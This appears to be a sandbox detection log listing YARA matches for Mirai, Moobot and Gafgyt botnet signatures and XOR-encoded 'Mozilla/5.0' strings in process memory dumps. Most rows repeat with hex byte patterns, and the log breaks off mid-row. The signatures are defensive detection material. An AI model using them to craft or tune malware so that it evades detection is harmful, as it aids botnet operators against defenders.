6603.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6470.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6470.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6470.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6470.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6470.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6470.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7259.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7011.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7011.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7011.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7011.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7011.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7011.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7338.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6940.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6594.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6594.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6594.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6594.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6594.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6594.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7007.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7007.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7007.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7007.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7007.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7007.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7261.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6926.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6926.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6926.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6926.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6926.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6926.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7096.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6404.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6404.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6404.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6404.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6404.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 